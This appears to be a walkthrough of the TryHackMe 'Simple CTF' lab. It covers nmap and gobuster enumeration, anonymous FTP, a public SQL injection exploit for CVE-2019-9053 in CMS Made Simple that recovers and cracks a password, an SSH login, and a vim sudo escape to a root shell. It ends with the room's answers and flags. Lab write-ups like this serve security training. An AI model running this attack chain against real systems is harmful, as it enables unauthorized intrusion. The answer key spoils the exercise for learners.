Simple CTF| Tryhackme | Easy

 

Enumeration

sudo nmap -sV -sC <target-ip>

   

┌──(root㉿kali)-[/home/local_host/Desktop/CTF/simple_ctf]
|
└─# nmap -sV -sC 10.10.54.91             
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-08 06:50 EST
Nmap scan report for 10.10.54.91
Host is up (0.31s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.6.17.130
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 2 disallowed entries 
|_/ /openemr-5_0_1_3 
|_http-title: Apache2 Ubuntu Default Page: It works
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 294269149ecad917988c27723acda923 (RSA)
|   256 9bd165075108006198de95ed3ae3811c (ECDSA)
|_  256 12651b61cf4de575fef4e8d46e102af6 (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.02 seconds

FTP

ftp <target-ip>

type name as anonymous go to pub directory and get ForMitch.txt

HTTP

• open target-ip on browser

Directory Bruteforcing

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u <target-ip>

 

┌──(local_host㉿kali)-[~]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u 10.10.54.91
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.54.91
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbusteirectory-list-2.3-medium.txt                              
[+] Negative Status codes:   404                          
[+] User Agent:              gobuster/3.3                 
[+] Timeout:                 10s                          
============================================================                                                        
2022/12/08 07:22:10 Starting gobuster in directory enumeran mode                                                    
============================================================                                                        
/simple               (Status: 301) [Size: 311] [--> http://10.10.54.91/simple/]                                    
Progress: 6156 / 220561 (2.79%)^C
[!] Keyboard interrupt detected, terminating.             
===============================================================                                                     
2022/12/08 07:25:22 Finished                              
=============================================================== 

visit < target-ip>/simple

CMS Made Simple - CVE-2019-9053

cms made simple 2.2.10 SQL Injection

Download the exploit code from the above link note: There might be some errors in the exploit code fix it and then run the script

 

Download best-1050.txt  

python3 46635.py -u http://<targetip>/simple --crack -w /usr/share/wordlists/best_1050.txt

Results:

┌──(local_host㉿kali)-[~/Desktop/CTF/simple_ctf]
└─$ python3 46635.py -u http://10.10.54.91/simple --crack -w /usr/share/wordlists/best_1050.txt

[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: admin@admin.com
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Password cracked: secret

note: It will take some time!! you can also exploit using msfconsole searchsploit -m 46635

Login using SSH

ssh mitch@<target-ip> -p 2222

as we know password is secret

Privilege Escalation

By looking into the directories we can see that we can leverage the vim The great option to do this is click here to get exploits gtfobins

sudo vim -c ':!/bin/sh'

copy any one code and execute in mitch’s machine! navigate to root directory

Answers

Q1 : How many services are running under port 1000?

2

Q2 : What is running on the higher port?

ssh

Q3 : What’s the CVE you’re using against the application?

CVE-2019-9053

Q4 : To what kind of vulnerability is the application vulnerable?

sqli

Q5 : What’s the password?

secret

Q6 : Where can you login with the details obtained?

ssh

Q7: What’s the user flag?

G00d j0b, keep up!

Q8: Is there any other user in the home directory? What’s its name?

sunbath

Q9: What can you leverage to spawn a privileged shell?

vim

Q10: What’s the root flag?

W3ll d0n3. You made it!